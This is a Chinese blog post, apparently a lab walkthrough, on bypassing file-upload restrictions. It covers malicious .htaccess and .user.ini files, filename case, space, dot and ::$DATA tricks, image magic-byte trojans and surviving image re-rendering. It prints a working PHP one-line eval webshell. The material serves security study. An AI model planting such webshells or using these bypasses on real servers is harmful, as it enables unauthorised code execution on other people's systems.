当前位置: 首页 > news >正文

【文件读写】绕过验证下

     .htaccess

       在Apache服务器的运行体系中,.htaccess文件作为目录级别的配置载体,具备对上级配置进行局部覆盖的能力,其优先级高于全局配置文件,且修改后无需重启服务即可即时生效。攻击者正是利用这一特性,通过上传经恶意构造的.htaccess,使服务器在加载当前目录资源时误以为指定文件类型具备脚本执行权限,从而将原本受限的后缀名绕过校验,达成WebShell的解析与触发,实现对访问控制策略的隐蔽突破。

      httpd-conf

       httpd-conf作为统摄整站的全局配置文件,虽然规定了服务器的基本行为与安全基线,却因优先级较低且需重启才能生效,难以对目录级的动态篡改作出即时响应。防御方若仅依赖全局策略而忽视对目录级配置的强制校验,便会在文件上传与解析环节留下可被利用的缝隙;攻击者借此在特定目录内重新定义文件类型与执行权限,使防御体系在局部失效,最终完成针对上传限制的策略绕过,凸显出局部配置动态覆盖全局策略所带来的潜在风险。

绕过路径被屏蔽的关键环节具体屏蔽效果对后续防御链的影响
.htaccess 目录级篡改文件落地可见性与解析控制权即时把“.jpg/.txt”等无害后缀重映射为 PHP/CGI 执行入口,传统后缀黑白名单、MIME 校验、杀软静态扫描全部失效上传-解析-审计链路失去对恶意脚本存在感的感知,纵深防御因源头失真而瘫痪
httpd-conf 全局级篡改上传目录整体执行权限标记将整站或指定目录设为“脚本可执行区”,Webshell 查杀、RASP 注入监控失去定位锚点文件已落地却难以删除、脚本已运行却无日志可追,形成持续盲区

 user.ini

       user.ini 是 PHP 为用户或目录量身定制的“小宪法”,只要被扔进站点根目录,无需重启服务即可立刻覆盖 php.ini 的全局条款;攻击者把 auto_prepend_file、open_basedir 等关键指令悄悄改写后,就能让同目录下的任意后缀伪装成合法脚本,从而把传统依赖后缀白名单、MIME 校验和静态查杀的“上传即第一道关”变成“上传即放行”的真空地带。

       php.ini 虽然统摄整个 PHP 运行环境,却因优先级低且需进程重启方可生效,对目录级动态篡改反应迟缓;一旦防御方仅把住主配置文件却未禁止用户级 ini 的写入权限,便等于在局部为攻击者开启“绿色通道”,使后续 Webshell 查杀、RASP 行为监控因源头失真而陷入“文件已落地却无人敢删、脚本已运行却无日志可追”的盲区,整条“上传-解析-审计”链路随之瘫痪。

用靶场来示范,首先在upload下创建一个.user.ini的文件,内容的意思就是包含1.txt。意味着所有php文件都会包含1.txt,   1.txt文件可以放木马文件

<?php
@eval($_POST['a']); 

echo "123";    #1.txt内容
?>

这段代码是一句话木马,用于远程执行 PHP 命令

在创建一个readme.php,用于读写生成的内容

<?php
header('Content-Type: text/html; charset=utf-8');
echo "该目录是上传文件保存,该文件为系统说明文件,请勿删除!";
?>

先上传.user.ini (没有任何反应) -->再上传1.txt(也没反应),验证一下,打开readme.php文件。发现读写了.user.ini文件并且包含了1.txt的内容

大小写绕过

      由于 Windows 对文件名大小写不敏感,后台黑名单仅以小写形式拦截 .php 时,只需把后缀改为大写 .PHP 即可骗过校验、顺利落地文件;服务器依旧按 PHP 脚本解析,一举实现 WebShell 上传与执行。

空格绕过

      Windows 会自动忽略文件名末尾的空格,但 PHP 黑名单检测不会;于是在 .php 后加个空格写成 shell.php 即可躲过校验、成功保存,系统仍按 PHP 解析执行。

加空格forward过去

末尾单点绕过

      Windows 会丢弃文件名结尾的“点”,但 PHP 只删一次点且不再循环 trim;把 Shell 命名成 shell.php. 即可让黑名单判定为 .(不在列表)而放行,落盘时系统自动去掉末尾点,最终生成 shell.php 并被解析。

ADS 特殊流绕过

       NTFS 允许用“文件名::DATA”访问备用数据流,上传‘test.php::DATA时 Windows 实际写入的是test.php,PHP 因 str_ireplace('::$DATA','')仅把字符串删掉而保留.php`,文件既保存成功又能被当成 PHP 执行,从而绕过对主数据流的黑名单检查。

      原理:Windows 系统下,若上传文件名为 test.php:$DATA,服务器会生成一个 test.php 文件,内容与上传文件相同,并可被解析执行。

用notepad查看2.txt的数据流

生成一个3.php,服务器只生成一个 3.php 文件

发送回去,新标签打开去掉后面的::$DATA,能看到解析出来了,蚁剑连接也能成功

字节标识绕过

  • JPEG/JFIF0xFF 0xD8

  • PNG0x89 0x50

  • GIF0x47 0x49

  • BMP0x42 0x4D

      服务器靠“文件头魔数”判断上传内容是否为真实图片,但只验头几个字节,后面数据不再检查。攻击者把 PHP 一句话附在合法图片头之后,形成“图马”——前端通过头字节检验,后端保存为 .jpg;再借助解析漏洞(Apache 多后缀、文件包含、.user.ini 等)让服务器把图片当成 PHP 执行,从而拿到 WebShell

保存为后缀为.php的文件上传到upload14关

图片二次渲染

       在上传后重新压缩/绘制图像,使原始内容(包括一句话木马)被丢弃,只有重新把 PHP 代码插入到 经渲染后仍保持不变的位置(如 JPEG 注释段、PNG IDAT 压缩数据或 GIF 帧调色板)才能绕过检查并保留执行点。

比较两张图片的格式,可以看到很多都被重写了,在匹配这里插入一句木马,绕过就可以上传

http://www.dtcms.com/a/430593.html

相关文章:

  • 谷歌官方网站注册12306铁路网站开发语言
  • 深度学习基础知识-深度神经网络基础
  • pycharm找不到Tencent Cloud CodeBuddy如何安装[windows]?pycharm插件市场找不到插件如何安装?
  • 【开题答辩全过程】以 SpringbootVueUniapp农产品展销平台为例,包含答辩的问题和答案
  • C++中的小数及整数位填充
  • DuckDB 的postgresql插件无法访问GooseDB
  • 电子商务软件网站建设的核心网站布局模板
  • 从Nginx到Keepalived:反向代理高可用的技术闭环——Nginx、Keepalived、VIP与VRRP的深度联动解析
  • 现场运维指南
  • 查看和修改Linux的主机名称
  • Vmware虚拟机联网问题,显示:线缆已拔出!!!
  • 部署Nginx(Kylinv10sp3、Ubuntu2204、Rocky9.3)
  • 【含文档+PPT+源码】基于微信小程序的房屋租赁系统
  • GitHub 热榜项目 - 日榜(2025-10-01)
  • linux的文件和目录操作函数
  • 网站首页psdwordpress禁用修订
  • Coze源码分析-资源库-编辑工作流-后端源码-领域/数据访问/基础设施层
  • 13个GNS3 3.0.5 appliances设备模板镜像合集:IOSv/L2,IOU L2/L3,以及IOS-XE
  • Java-Spring入门指南(十九)thymeleaf基本概念
  • GameObject 常见类型详解 -- 宝箱(CHEST)
  • GameObject 常见类型详解 -- 按钮(BUTTON)
  • 【SpringAI】第四弹:深入解析 Rag 检索增强工作流程、最佳实践和调优
  • 自助网站免费国外用tornado做的网站
  • 华为业务流程架构:主干清晰、末端灵活
  • 基于any2web+deepseek实现对三角函数定义的理解
  • 建个企业网站一年需要多少钱网站网页切换怎么做的
  • 《考研408数据结构》第三章(队列)复习笔记
  • 《C++进阶之C++11》【lambda表达式 + 包装器】
  • 【C++】栈、队列、双端队列、优先级队列、仿函数
  • 潢川手机网站建设做网站的图片=gif